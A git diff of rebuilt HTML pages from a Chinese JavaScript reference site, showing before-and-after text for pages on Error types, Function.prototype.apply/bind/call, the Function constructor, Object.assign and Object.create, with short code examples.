                                                                            • EvalError:用于表示与 eval() 相关的异常
                                                                            • InternalError:用于表示 JavaScript 引擎内部错误的异常抛出的实例。 如: "递归太多"。
                                                                            • RangeError:用于表示数值变量或参数超出其有效范围的异常
                                                                            • ReferenceError:用于表示无效引用的异常
                                                                            • SyntaxError:用于表示 eval() 在解析代码的过程中发生的语法错误的异常
                                                                            • TypeError:用于表示变量或参数不属于有效类型的异常
                                                                            • URIError:用于表示给 encodeURI()decodeURl() 传递的参数无效的错误

                                                                            示例

                                                                            通常会使用 throw 关键字来抛出你创建的 Error 对象。

                                                                            try {
                                                                            throw new Error('Whoops!');
                                                                            } catch (e) {
                                                                            console.log(e.name + ': ' + e.message);
                                                                            }

                                                                            你可以通过判断异常的类型来特定处理某一类的异常,即判断 constructor 属性,可使用 instanceof 关键字。

                                                                            const a = RangeError('throw Error');
                                                                            -
                                                                            console.log(a instanceof RangeError);
                                                                            // true
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Error 对象

                                                                            Error 内置对象用于创建一个异常对象,当运行时产生异常,Error 的实例对象会被抛出。Error 对象也可用于用户自定义的异常的基础对象。

                                                                            语法

                                                                            new Error([ message ][, fileName[, lineNumber]])
                                                                            参数说明类型
                                                                            message可选参数。错误描述信息string
                                                                            fileName可选参数。默认是调用 Error 构造器代码所在的文件的名字string
                                                                            lineNumber可选参数。默认是调用 Error 构造器代码所在文件的行号number

                                                                            类型

                                                                            除了通用的 Error 构造函数外,还有 6 个其他类型的异常构造函数。

                                                                            • EvalError:用于表示与 eval() 相关的异常
                                                                            • InternalError:用于表示 JavaScript 引擎内部错误的异常抛出的实例。 如: "递归太多"。
                                                                            • RangeError:用于表示数值变量或参数超出其有效范围的异常
                                                                            • ReferenceError:用于表示无效引用的异常
                                                                            • SyntaxError:用于表示 eval() 在解析代码的过程中发生的语法错误的异常
                                                                            • TypeError:用于表示变量或参数不属于有效类型的异常
                                                                            • URIError:用于表示给 encodeURI()decodeURl() 传递的参数无效的错误

                                                                            示例

                                                                            通常会使用 throw 关键字来抛出你创建的 Error 对象。

                                                                            try {
                                                                            throw new Error('Whoops!');
                                                                            } catch (e) {
                                                                            console.log(e.name + ': ' + e.message);
                                                                            }

                                                                            你可以通过判断异常的类型来特定处理某一类的异常,即判断 constructor 属性,可使用 instanceof 关键字。

                                                                            const a = RangeError('throw Error');
                                                                            +
                                                                            console.log(a instanceof RangeError);
                                                                            // true
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/function/apply/index.html b/standard-built-in-objects/fundamental-objects/function/apply/index.html index 14057ff72..6845585cf 100644 --- a/standard-built-in-objects/fundamental-objects/function/apply/index.html +++ b/standard-built-in-objects/fundamental-objects/function/apply/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Function.prototype.apply - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.apply

                                                                            Function.prototype.apply 方法用于指定函数调用指向的 this 指针,并提供类数组类型的参数列表作为指定函数的参数。

                                                                            语法

                                                                            语法:

                                                                            apply(thisArg: any, argArray?: any): any;

                                                                            参数:

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。/
                                                                            argArray可选参数。调用函数参数列表。Array | TypedArray

                                                                            描述

                                                                            Function.prototype.applyFunction.prototype.call 非常相似,不同之处在于提供参数的方式,apply 使用参数数组而非一组参数列表。

                                                                            你可以使用 arguments 对象作为 argArray 参数。arguments 是一个函数的局部变量,它可以被用作被调用对象的所有未指定的参数。这样,你在使用 apply 方法时就不需要知道被调用的对象的所有参数。你可以使用 arguments 来把所有的参数传递给被调用对象。 被调用对象接下来就负责处理这些参数。

                                                                            示例

                                                                            数组元素添加

                                                                            使用 Array.prototype.push 能将元素追加到数组中,并且,该方法可以接受可变数量的参数。

                                                                            但是如果,我们需要传递一个数组追加到数组中,它实际上会将该数组作为单个元素添加,而不是单独添加元素,因此我们最终得到一个数组内的数组。

                                                                            这种情况下,虽然可以通过 Array.prototype.concat 实现我们想要的行为,但它实际上不是附加到原有数组中,而是创建并返回新的数组。

                                                                            而我们可以通过 Function.prototype.apply 实现该需求。

                                                                            const foo = [];
                                                                            const bar = [1, 2, 3, 4];
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.apply

                                                                            Function.prototype.apply 方法用于指定函数调用指向的 this 指针,并提供类数组类型的参数列表作为指定函数的参数。

                                                                            语法

                                                                            语法:

                                                                            apply(thisArg: any, argArray?: any): any;

                                                                            参数:

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。/
                                                                            argArray可选参数。调用函数参数列表。Array | TypedArray

                                                                            描述

                                                                            Function.prototype.applyFunction.prototype.call 非常相似,不同之处在于提供参数的方式,apply 使用参数数组而非一组参数列表。

                                                                            你可以使用 arguments 对象作为 argArray 参数。arguments 是一个函数的局部变量,它可以被用作被调用对象的所有未指定的参数。这样,你在使用 apply 方法时就不需要知道被调用的对象的所有参数。你可以使用 arguments 来把所有的参数传递给被调用对象。 被调用对象接下来就负责处理这些参数。

                                                                            示例

                                                                            数组元素添加

                                                                            使用 Array.prototype.push 能将元素追加到数组中,并且,该方法可以接受可变数量的参数。

                                                                            但是如果,我们需要传递一个数组追加到数组中,它实际上会将该数组作为单个元素添加,而不是单独添加元素,因此我们最终得到一个数组内的数组。

                                                                            这种情况下,虽然可以通过 Array.prototype.concat 实现我们想要的行为,但它实际上不是附加到原有数组中,而是创建并返回新的数组。

                                                                            而我们可以通过 Function.prototype.apply 实现该需求。

                                                                            const foo = [];
                                                                            const bar = [1, 2, 3, 4];
                                                                            foo.push.apply(foo, bar);
                                                                            console.log(foo);
                                                                            // [1, 2, 3, 4]

                                                                            内置函数使用

                                                                            可以使用 Function.prototype.apply 实现本来需要遍历数组变量的任务中使用内建的的函数。

                                                                            以下例子使用 Math.maxMath.min 来找出一个数组中的最大 / 最小值。

                                                                            const foo = [2, 4, 6, 8, 10];
                                                                            const max = Math.max.apply(null, foo);
                                                                            const min = Math.min.apply(null, foo);

                                                                            ⚠️ 注意:使用上述方式调用 Function.prototype.apply,会有超出 JavaScript 引擎的参数长度限制的风险。当对一个函数传入非常多的参数(比如一万个)时,就非常有可能会导致越界问题,这个临界值是根据不同的 JavaScript 引擎而定的(JavaScript 核心中已经做了硬编码 参数个数限制在 65536),因为这个限制(实际上也是任何用到超大栈空间的行为的自然表现)是未指定的,有些引擎会抛出异常。更糟糕的是其他引擎会直接限制传入到方法的参数个数,导致参数丢失。

                                                                            如果参数数组可能很大,可以使用以下策略处理:将参数数组切块后循环传入目标方法。

                                                                            function minOfArray(arr) {
                                                                            var min = Infinity;
                                                                            var QUANTUM = 32768;
                                                                            @@ -42,12 +45,12 @@
                                                                            context[fn] = this;
                                                                            // 执行保存的函数,这个时候作用域就是在调用方的对象的作用域下执行,改变 this 的指向
                                                                            const result = context[fn](...args);
                                                                            // 执行完删除刚才新增的属性值
                                                                            delete context[fn];
                                                                            -
                                                                            // 返回执行结果
                                                                            return result;
                                                                            };
                                                                            +
                                                                            // 返回执行结果
                                                                            return result;
                                                                            };
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/function/bind/index.html b/standard-built-in-objects/fundamental-objects/function/bind/index.html index 40b2680df..0753236d6 100644 --- a/standard-built-in-objects/fundamental-objects/function/bind/index.html +++ b/standard-built-in-objects/fundamental-objects/function/bind/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Function.prototype.bind - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.bind

                                                                            Function.prototype.bind 方法创建一个新函数,在 bind() 被调用时,这个新函数的 this 被指定为 bind() 的第一个参数,而其余参数将作为新函数的参数,供调用时使用。

                                                                            语法

                                                                            语法:

                                                                            bind(thisArg: any, ...argArray: any[]): any;

                                                                            参数

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。/
                                                                            arg1,arg2,...可选参数。当目标函数被调用时,被预置入绑定函数的参数列表中的参数。any

                                                                            描述

                                                                            Function.prototype.bind 函数会创建一个新 绑定函数(Bound Function,BF)。绑定函数是一个 Exotic Function Object(怪异函数对象,ECMAScript 2015 中的术语),它包装了原函数对象。调用绑定函数通常会导致执行 包装函数

                                                                            绑定函数具有以下内部属性:

                                                                            • [[BoundTargetFunction]]:包装的函数对象
                                                                            • [[BoundThis]]:在调用包装函数时始终作为 this 值传递的值。
                                                                            • [[BoundArguments]]:列表,在对包装函数做任何调用都会优先用列表元素填充参数列表。
                                                                            • [[Call]]:执行与此对象关联的代码。通过函数调用表达式调用。内部方法的参数是一个 this 值和一个包含通过调用表达式传递给函数的参数的列表。

                                                                            当调用绑定函数时,它调用 [[BoundTargetFunction]] 上的内部方法 [[Call]],就像这样 Call(boundThis, args)。其中,boundThis[[BoundThis]]args[[BoundArguments]] 加上通过函数调用传入的参数列表。

                                                                            绑定函数也可以使用 new 运算符构造,它会表现为目标函数已经被构建完毕。提供的 this 值会被忽略,但前置参数仍会提供给模拟函数。

                                                                            示例

                                                                            创建绑定函数

                                                                            Function.prototype.bind() 最简单的用法是创建一个函数,不论怎么调用,这个函数都有同样的 this 引用。JavaScript 新手经常犯的一个错误是将一个方法从对象中拿出来,然后再调用,期望方法中的 this 是原来的对象(比如在回调中传入这个方法)。如果不做特殊处理的话,一般会丢失原来的对象。基于这个函数,用原始的对象创建一个绑定函数,巧妙地解决了这个问题。

                                                                            this.a = '100';
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.bind

                                                                            Function.prototype.bind 方法创建一个新函数,在 bind() 被调用时,这个新函数的 this 被指定为 bind() 的第一个参数,而其余参数将作为新函数的参数,供调用时使用。

                                                                            语法

                                                                            语法:

                                                                            bind(thisArg: any, ...argArray: any[]): any;

                                                                            参数

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。/
                                                                            arg1,arg2,...可选参数。当目标函数被调用时,被预置入绑定函数的参数列表中的参数。any

                                                                            描述

                                                                            Function.prototype.bind 函数会创建一个新 绑定函数(Bound Function,BF)。绑定函数是一个 Exotic Function Object(怪异函数对象,ECMAScript 2015 中的术语),它包装了原函数对象。调用绑定函数通常会导致执行 包装函数

                                                                            绑定函数具有以下内部属性:

                                                                            • [[BoundTargetFunction]]:包装的函数对象
                                                                            • [[BoundThis]]:在调用包装函数时始终作为 this 值传递的值。
                                                                            • [[BoundArguments]]:列表,在对包装函数做任何调用都会优先用列表元素填充参数列表。
                                                                            • [[Call]]:执行与此对象关联的代码。通过函数调用表达式调用。内部方法的参数是一个 this 值和一个包含通过调用表达式传递给函数的参数的列表。

                                                                            当调用绑定函数时,它调用 [[BoundTargetFunction]] 上的内部方法 [[Call]],就像这样 Call(boundThis, args)。其中,boundThis[[BoundThis]]args[[BoundArguments]] 加上通过函数调用传入的参数列表。

                                                                            绑定函数也可以使用 new 运算符构造,它会表现为目标函数已经被构建完毕。提供的 this 值会被忽略,但前置参数仍会提供给模拟函数。

                                                                            示例

                                                                            创建绑定函数

                                                                            Function.prototype.bind() 最简单的用法是创建一个函数,不论怎么调用,这个函数都有同样的 this 引用。JavaScript 新手经常犯的一个错误是将一个方法从对象中拿出来,然后再调用,期望方法中的 this 是原来的对象(比如在回调中传入这个方法)。如果不做特殊处理的话,一般会丢失原来的对象。基于这个函数,用原始的对象创建一个绑定函数,巧妙地解决了这个问题。

                                                                            this.a = '100';
                                                                            const foo = {
                                                                            a: '99',
                                                                            getA: function () {
                                                                            return this.a;
                                                                            },
                                                                            };
                                                                            foo.getA();
                                                                            // '99'
                                                                            const retrieveA = foo.getA;
                                                                            @@ -47,12 +50,12 @@
                                                                            const OP = function () {};
                                                                            if (this.prototype) {
                                                                            OP.prototype = this.prototype;
                                                                            }
                                                                            // 将 fn.prototype 是 OP 的实例,因此返回 fn 若作为 new 的构造函数
                                                                            // new 生成的新对象作为 this 传入 fn,新对象的 __proto__ 就是 OP 的实例
                                                                            fn.prototype = new OP();
                                                                            -
                                                                            return fn;
                                                                            };
                                                                            +
                                                                            return fn;
                                                                            };
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/function/call/index.html b/standard-built-in-objects/fundamental-objects/function/call/index.html index ced989aa5..78f68f896 100644 --- a/standard-built-in-objects/fundamental-objects/function/call/index.html +++ b/standard-built-in-objects/fundamental-objects/function/call/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Function.prototype.call - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.call

                                                                            Function.prototype.call 方法用于指定函数调用指向的 this 指针,并分别提供参数作为指定函数的参数。

                                                                            语法

                                                                            语法:

                                                                            call(thisArg: any, ...argArray: any[]): any;

                                                                            参数

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。
                                                                            args可选参数。调用函数参数列表。

                                                                            示例

                                                                            function Product(name, price) {
                                                                            this.name = name;
                                                                            this.price = price;
                                                                            }
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function.prototype.call

                                                                            Function.prototype.call 方法用于指定函数调用指向的 this 指针,并分别提供参数作为指定函数的参数。

                                                                            语法

                                                                            语法:

                                                                            call(thisArg: any, ...argArray: any[]): any;

                                                                            参数

                                                                            参数说明类型
                                                                            thisArg可选参数。调用函数时指向的 this 指针。
                                                                            args可选参数。调用函数参数列表。

                                                                            示例

                                                                            function Product(name, price) {
                                                                            this.name = name;
                                                                            this.price = price;
                                                                            }
                                                                            function Food(name, price) {
                                                                            Product.call(this, name, price);
                                                                            this.category = 'food';
                                                                            }
                                                                            function Toy(name, price) {
                                                                            Product.call(this, name, price);
                                                                            this.category = 'toy';
                                                                            }
                                                                            const cheese = new Food('cheese', 5);
                                                                            const robot = new Toy('robot', 40);
                                                                            @@ -40,12 +43,12 @@
                                                                            context[fn] = this;
                                                                            // 执行保存的函数,这个时候作用域就是在调用方的对象的作用域下执行,改变 this 的指向
                                                                            const result = context[fn](...args);
                                                                            // 执行完删除刚才新增的属性值
                                                                            delete context[fn];
                                                                            -
                                                                            // 返回执行结果
                                                                            return result;
                                                                            };

                                                                            由于 callapply 的区别就在于传参的方式不同:

                                                                            fn.call(ctx, arg1, arg2, arg3);
                                                                            fn.call(ctx, [arg1, arg2, arg3]);
                                                                            • call 调用函数的参数是散列的形式
                                                                            • apply 调用函数的参数是数组的形式
                                                                            +
                                                                            // 返回执行结果
                                                                            return result;
                                                                            };

                                                                            由于 callapply 的区别就在于传参的方式不同:

                                                                            fn.call(ctx, arg1, arg2, arg3);
                                                                            fn.call(ctx, [arg1, arg2, arg3]);
                                                                            • call 调用函数的参数是散列的形式
                                                                            • apply 调用函数的参数是数组的形式
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/function/function/index.html b/standard-built-in-objects/fundamental-objects/function/function/index.html index 81714e442..777846fc0 100644 --- a/standard-built-in-objects/fundamental-objects/function/function/index.html +++ b/standard-built-in-objects/fundamental-objects/function/function/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Function - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function

                                                                            Function 构造函数通过 new 创建一个新的 Function 对象。 在 JavaScript 中,每个函数实际上都是一个 Function 对象。

                                                                            语法

                                                                            构造函数

                                                                            new Function ( [ argName1 [, argName1 [, argNameN... [, funcBody ]]]] )

                                                                            函数类型转换函数

                                                                            Function ( [ argName1 [, argName1 [, argNameN... [, funcBody ]]]] )
                                                                            参数说明类型
                                                                            argName1定义的第 1 个参数的名称string
                                                                            argName2定义的第 2 个参数的名称string
                                                                            argNameN定义的第 N 个参数的名称,可以有任意多个string
                                                                            funcBody定义的函数主体,即函数内部的执行代码,默认为空字符串("")string

                                                                            Function() 会把传入的最后一个参数作为函数定义的执行代码,之前的所有参数均依次作为函数定义的参数。

                                                                            • 如果没有指定任何参数,则表示该函数没有定义参数列表,函数的执行代码也为空。
                                                                            • 如果只指定了一个参数,则该参数将被视作函数的执行代码。如果你想定义一个参数、执行代码为空,请传入两个参数,第二个参数为空字符串即可:new Function("argName1", "")

                                                                            Function() 的返回值是 Function 类型,返回一个函数对象。

                                                                            描述

                                                                            • 使用 Function 构造器生成的 Function 对象是在函数创建时解析的。这比你使用 函数声明 或者 函数表达式 并在你的代码中调用更为低效,因为使用后者创建的函数是跟其他代码一起解析的
                                                                            • 所有被传递到构造函数中的参数,都将被视为是将被创建函数的参数,并且是相同的标识符名称和传递顺序
                                                                            • 使用 Function 构造器生成的函数,并不会在创建它们的上下文中创建闭包;它们一般在全局作用域中被创建。当运行这些函数的时候,它们只能访问自己的本地变量和全局变量,不能访问 Function 构造器被调用生成的上下文的作用域。这和使用带有函数表达式代码的 eval 不同
                                                                            • 以调用函数的方式调用 Function 的构造函数(而不是用 new 关键字)跟以构造函数来调用是一样的

                                                                            构造函数

                                                                            • Function.arguments:以数组形式获取传入函数的所有参数。此属性已被 arguments 替代。
                                                                            • Function.caller:获取调用函数的具体对象
                                                                            • Function.length:获取函数的接收参数个数
                                                                            • Function.name:获取函数的名称
                                                                            • Function.displayName:获取函数的 display name

                                                                            原型对象

                                                                            • Function.prototype.apply:设定指定函数的调用上下文环境,并提供数组形式的参数
                                                                            • Function.prototype.call:设定指定函数的调用上下文环境,并提供列表形式的参数
                                                                            • Function.prototype.bind:绑定指定函数的调用上下文,无论如何调用均以该调用函数上下文为准
                                                                            • ⚠️ Function.prototype.isGenerator:用于检测函数对象是否为 Generator 生成器函数

                                                                            示例

                                                                            基本示例

                                                                            定义一个求和函数:带有 2 个参数 xy

                                                                            const sum = new Function('x', 'y', 'return x + y;');

                                                                            定义一个输出函数:没有定义参数,输出 "CodePlayer"

                                                                            const foo = Function('var name="CodePlayer"; console.log(name);');

                                                                            执行函数。

                                                                            console.log(sum(12, 23));
                                                                            // 35
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Function

                                                                            Function 构造函数通过 new 创建一个新的 Function 对象。 在 JavaScript 中,每个函数实际上都是一个 Function 对象。

                                                                            语法

                                                                            构造函数

                                                                            new Function ( [ argName1 [, argName1 [, argNameN... [, funcBody ]]]] )

                                                                            函数类型转换函数

                                                                            Function ( [ argName1 [, argName1 [, argNameN... [, funcBody ]]]] )
                                                                            参数说明类型
                                                                            argName1定义的第 1 个参数的名称string
                                                                            argName2定义的第 2 个参数的名称string
                                                                            argNameN定义的第 N 个参数的名称,可以有任意多个string
                                                                            funcBody定义的函数主体,即函数内部的执行代码,默认为空字符串("")string

                                                                            Function() 会把传入的最后一个参数作为函数定义的执行代码,之前的所有参数均依次作为函数定义的参数。

                                                                            • 如果没有指定任何参数,则表示该函数没有定义参数列表,函数的执行代码也为空。
                                                                            • 如果只指定了一个参数,则该参数将被视作函数的执行代码。如果你想定义一个参数、执行代码为空,请传入两个参数,第二个参数为空字符串即可:new Function("argName1", "")

                                                                            Function() 的返回值是 Function 类型,返回一个函数对象。

                                                                            描述

                                                                            • 使用 Function 构造器生成的 Function 对象是在函数创建时解析的。这比你使用 函数声明 或者 函数表达式 并在你的代码中调用更为低效,因为使用后者创建的函数是跟其他代码一起解析的
                                                                            • 所有被传递到构造函数中的参数,都将被视为是将被创建函数的参数,并且是相同的标识符名称和传递顺序
                                                                            • 使用 Function 构造器生成的函数,并不会在创建它们的上下文中创建闭包;它们一般在全局作用域中被创建。当运行这些函数的时候,它们只能访问自己的本地变量和全局变量,不能访问 Function 构造器被调用生成的上下文的作用域。这和使用带有函数表达式代码的 eval 不同
                                                                            • 以调用函数的方式调用 Function 的构造函数(而不是用 new 关键字)跟以构造函数来调用是一样的

                                                                            构造函数

                                                                            • Function.arguments:以数组形式获取传入函数的所有参数。此属性已被 arguments 替代。
                                                                            • Function.caller:获取调用函数的具体对象
                                                                            • Function.length:获取函数的接收参数个数
                                                                            • Function.name:获取函数的名称
                                                                            • Function.displayName:获取函数的 display name

                                                                            原型对象

                                                                            • Function.prototype.apply:设定指定函数的调用上下文环境,并提供数组形式的参数
                                                                            • Function.prototype.call:设定指定函数的调用上下文环境,并提供列表形式的参数
                                                                            • Function.prototype.bind:绑定指定函数的调用上下文,无论如何调用均以该调用函数上下文为准
                                                                            • ⚠️ Function.prototype.isGenerator:用于检测函数对象是否为 Generator 生成器函数

                                                                            示例

                                                                            基本示例

                                                                            定义一个求和函数:带有 2 个参数 xy

                                                                            const sum = new Function('x', 'y', 'return x + y;');

                                                                            定义一个输出函数:没有定义参数,输出 "CodePlayer"

                                                                            const foo = Function('var name="CodePlayer"; console.log(name);');

                                                                            执行函数。

                                                                            console.log(sum(12, 23));
                                                                            // 35
                                                                            foo();
                                                                            // CodePlayer
                                                                            console.log(typeof sum);
                                                                            // function
                                                                            console.log(sum instanceof Function);
                                                                            // true
                                                                            console.log(sum instanceof Object);
                                                                            // true

                                                                            函数声明

                                                                            JavaScript 支持以 function 关键字形式直接声明函数,多数情况下,我们也推荐以 function 关键字形式声明函数。我们以 function 关键字形式声明等价于上面两个函数的对应代码如下:

                                                                            function sum(x, y) {
                                                                            return x + y;
                                                                            }
                                                                            function foo() {
                                                                            var name = 'CodePlayer';
                                                                            console.log(name);
                                                                            }
                                                                            @@ -38,12 +41,12 @@
                                                                            function f() {
                                                                            const n = 2;
                                                                            function e() {
                                                                            return n;
                                                                            }
                                                                            return e;
                                                                            }
                                                                            console.log(f()());
                                                                            // 2

                                                                            如下代码中 f() 函数返回的 function e() 是全局作用域函数。

                                                                            const n = 1;
                                                                            function f() {
                                                                            const n = 2;
                                                                            const e = new Function('return n;');
                                                                            return e;
                                                                            }
                                                                            -
                                                                            console.log(f()());
                                                                            // 1
                                                                            +
                                                                            console.log(f()());
                                                                            // 1
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/function/index.html b/standard-built-in-objects/fundamental-objects/function/index.html index 99ff8c1de..a723b3aab 100644 --- a/standard-built-in-objects/fundamental-objects/function/index.html +++ b/standard-built-in-objects/fundamental-objects/function/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/index.html b/standard-built-in-objects/fundamental-objects/index.html index 4f6d15e13..fca3d4de1 100644 --- a/standard-built-in-objects/fundamental-objects/index.html +++ b/standard-built-in-objects/fundamental-objects/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/assign/index.html b/standard-built-in-objects/fundamental-objects/object/assign/index.html index 0fa053fc5..533f23041 100644 --- a/standard-built-in-objects/fundamental-objects/object/assign/index.html +++ b/standard-built-in-objects/fundamental-objects/object/assign/index.html @@ -7,35 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.assign - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.assign

                                                                            Object.assign() 方法用于将所有可枚举自有 Property 的值从一个或多个源对象拷贝到目标对象。

                                                                            语法

                                                                            Object.assign(target, ...sources);
                                                                            参数说明类型
                                                                            target目标对象object
                                                                            sources源对象object

                                                                            返回目标对象。

                                                                            描述

                                                                            如果目标对象中的属性具有相同的键,则属性将被源对象中的属性覆盖。后面的源对象的属性将类似地覆盖前面的源对象的属性。

                                                                            Object.assign 方法只会拷贝源对象自身的并且可枚举的属性到目标对象。

                                                                            该方法使用源对象的 [[Get]] 和目标对象的 [[Set]],所以它会调用相关 gettersetter。因此,它分配属性,而不仅仅是复制或定义新的属性。如果合并源包含 getter,这可能使其不适合将新属性合并到原型中。为了将属性定义(包括其可枚举性)复制到原型,应使用 Object.getOwnPropertyDescriptorObject.defineProperty

                                                                            示例

                                                                            基本示例

                                                                            const a = { a: 1 };
                                                                            -
                                                                            const b = Object.assign({}, a);
                                                                            -
                                                                            console.log(b); // { a: 1 }
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.assign

                                                                            Object.assign() 方法用于将所有可枚举自有 Property 的值从一个或多个源对象拷贝到目标对象。

                                                                            语法

                                                                            语法:

                                                                            Object.assign(target, ...sources);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            assign<T, U>(target: T, source: U): T & U;
                                                                            +
                                                                            assign<T, U, V>(target: T, source1: U, source2: V): T & U & V;
                                                                            +
                                                                            assign<T, U, V, W>(target: T, source1: U, source2: V, source3: W): T & U & V & W;
                                                                            +
                                                                            assign(target: object, ...sources: any[]): any;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            target目标对象object
                                                                            sources源对象object

                                                                            返回值:

                                                                            返回目标对象。

                                                                            方法说明

                                                                            如果目标对象中的属性具有相同的键,则属性将被源对象中的属性覆盖。后面的源对象的属性将类似地覆盖前面的源对象的属性。

                                                                            Object.assign 方法只会拷贝源对象自身的并且可枚举的属性到目标对象。

                                                                            该方法使用源对象的 [[Get]] 和目标对象的 [[Set]],所以它会调用相关 gettersetter。因此,它分配属性,而不仅仅是复制或定义新的属性。如果合并源包含 getter,这可能使其不适合将新属性合并到原型中。为了将属性定义(包括其可枚举性)复制到原型,应使用 Object.getOwnPropertyDescriptorObject.defineProperty

                                                                            代码示例

                                                                            基本用法

                                                                            const obj1 = { a: 1 };
                                                                            +
                                                                            const obj2 = Object.assign({}, obj1);
                                                                            +
                                                                            console.log(obj2);
                                                                            // Output: { a: 1 }

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/create/index.html b/standard-built-in-objects/fundamental-objects/object/create/index.html index 2cf587650..1d961aa85 100644 --- a/standard-built-in-objects/fundamental-objects/object/create/index.html +++ b/standard-built-in-objects/fundamental-objects/object/create/index.html @@ -7,40 +7,45 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.create - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.create

                                                                            Object.create() 方法用于创建指定对象为原型对象的新对象。

                                                                            语法

                                                                            语法:

                                                                            Object.create(o: object | null): any;
                                                                            Object.create(o: object | null, properties: PropertyDescriptorMap & ThisType<any>): any;

                                                                            类型声明拓展:

                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            -
                                                                            interface PropertyDescriptorMap {
                                                                            [s: string]: PropertyDescriptor;
                                                                            }
                                                                            -
                                                                            interface ThisType<T> {}

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o新创建对象指向的原型对象object
                                                                            properties可选参数。添加到新创建对象的可枚举属性(即自身定义的属性,而不是原型链上的枚举属性)object

                                                                            ⚠️ 注意

                                                                            • 如果 properties 参数不是 null 或对象,则抛出一个 TypeError 异常
                                                                            • 返回指定原型对象和可枚举属性的新对象

                                                                            示例

                                                                            类式继承

                                                                            // Shape = Super Class
                                                                            function Shape() {
                                                                            this.x = 0;
                                                                            this.y = 0;
                                                                            }
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.create

                                                                            Object.create() 方法用于创建指定对象为原型对象的新对象。

                                                                            语法

                                                                            语法:

                                                                            Object.create(o [, properties]);

                                                                            类型声明:

                                                                            interface PropertyDescriptor {
                                                                            configurable?: boolean;
                                                                            enumerable?: boolean;
                                                                            value?: any;
                                                                            writable?: boolean;
                                                                            get?(): any;
                                                                            set?(v: any): void;
                                                                            }
                                                                            +
                                                                            interface PropertyDescriptorMap {
                                                                            [s: string]: PropertyDescriptor;
                                                                            }
                                                                            +
                                                                            interface ThisType<T> {}
                                                                            +
                                                                            interface ObjectConstructor {
                                                                            create(o: object | null): any;
                                                                            +
                                                                            create(o: object | null, properties: PropertyDescriptorMap & ThisType<any>): any;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o新创建对象指向的原型对象object
                                                                            properties可选参数。添加到新创建对象的可枚举属性(即自身定义的属性,而不是原型链上的枚举属性)object

                                                                            注意

                                                                            • 如果 properties 参数不是 null 或对象,则抛出一个 TypeError 异常
                                                                            • 返回指定原型对象和可枚举属性的新对象

                                                                            代码示例

                                                                            类式继承

                                                                            // Shape = Super Class
                                                                            function Shape() {
                                                                            this.x = 0;
                                                                            this.y = 0;
                                                                            }
                                                                            // Super Class Methods
                                                                            Shape.prototype.move = function () {
                                                                            this.x += x;
                                                                            this.y += y;
                                                                            console.log('Shap moved');
                                                                            };
                                                                            // Retangle - Sub Class
                                                                            function Retangle() {
                                                                            Shape.all(this); // call super constructor
                                                                            }
                                                                            // 子类继承父类
                                                                            Retangle.prototype = Object.create(Shape.prototype);
